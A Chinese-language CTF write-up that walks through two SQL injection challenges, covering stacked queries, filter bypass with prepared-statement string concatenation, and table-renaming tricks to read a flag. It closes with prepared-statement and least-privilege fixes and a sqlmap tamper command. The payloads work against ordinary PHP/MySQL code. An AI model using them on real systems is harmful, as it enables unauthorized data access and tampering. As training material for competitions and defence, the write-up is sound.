最近在复盘几道经典的CTF题目时,发现"[强网杯 2019]随便注"和"[GYCTF2020]Blacklist"这两道SQL注入题非常具有教学意义。作为渗透测试中最高危的漏洞类型,SQL注入在各类CTF竞赛和实际攻防演练中都是必考知识点。今天我就从这两道题入手,带大家深入理解不同防护场景下的注入技巧。
这道题提供了一个简单的留言板系统,核心功能是通过id参数查询留言内容。服务端代码大致如下:
php复制$id = $_GET['id'];
$sql = "SELECT * FROM messages WHERE id = '$id'";
$result = mysqli_query($conn, $sql);
使用经典的单引号测试:
code复制?id=1'
返回SQL语法错误,确认存在字符型注入。进一步测试注释符:
code复制?id=1' --+
页面正常返回,验证注入点可用性。
通过order by判断字段数:
code复制?id=1' order by 2--+
成功返回,说明查询结果包含2列。
使用union联合查询时发现过滤了select等关键词:
code复制?id=1' union select 1,2--+
返回非法操作提示,说明存在基础WAF防护。
利用mysqli_multi_query特性尝试堆叠注入:
code复制?id=1';show databases--+
成功返回数据库列表,验证堆叠注入可行。
继续获取表结构信息:
code复制?id=1';show tables--+
发现两个表:messages和1919810931114514。
查看列结构:
code复制?id=1';desc `1919810931114514`--+
(注意表名包含数字时需要反引号包裹)
由于select被过滤,采用预编译语句方式读取flag:
code复制?id=1';set @sql=concat('sel','ect * from `1919810931114514`');prepare stmt from @sql;execute stmt--+
通过字符串拼接绕过关键词检测,成功获取flag。
这道题在上一题基础上增加了更严格的黑名单:
测试发现rename和alter未被过滤:
code复制?id=1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);--+
通过表重命名和字段修改,将flag表伪装成正常查询表。
code复制?id=1';create table words1 like words;--+
code复制?id=1';alter table `1919810931114514` change `flag` `id` varchar(100);--+
code复制?id=1';rename table words to words2; rename table `1919810931114514` to words;--+
code复制?id=1' or 1=1--+
PHP中正确使用预处理:
php复制$stmt = $conn->prepare("SELECT * FROM messages WHERE id = ?");
$stmt->bind_param("s", $id);
$stmt->execute();
php复制if(!is_numeric($_GET['id'])){
die("Invalid input");
}
sql复制CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON database.messages TO 'webuser'@'localhost';
在真实环境中,建议使用sqlmap的tamper脚本自动化测试各种绕过方式:
bash复制sqlmap -u "http://target.com?id=1" --tamper=space2comment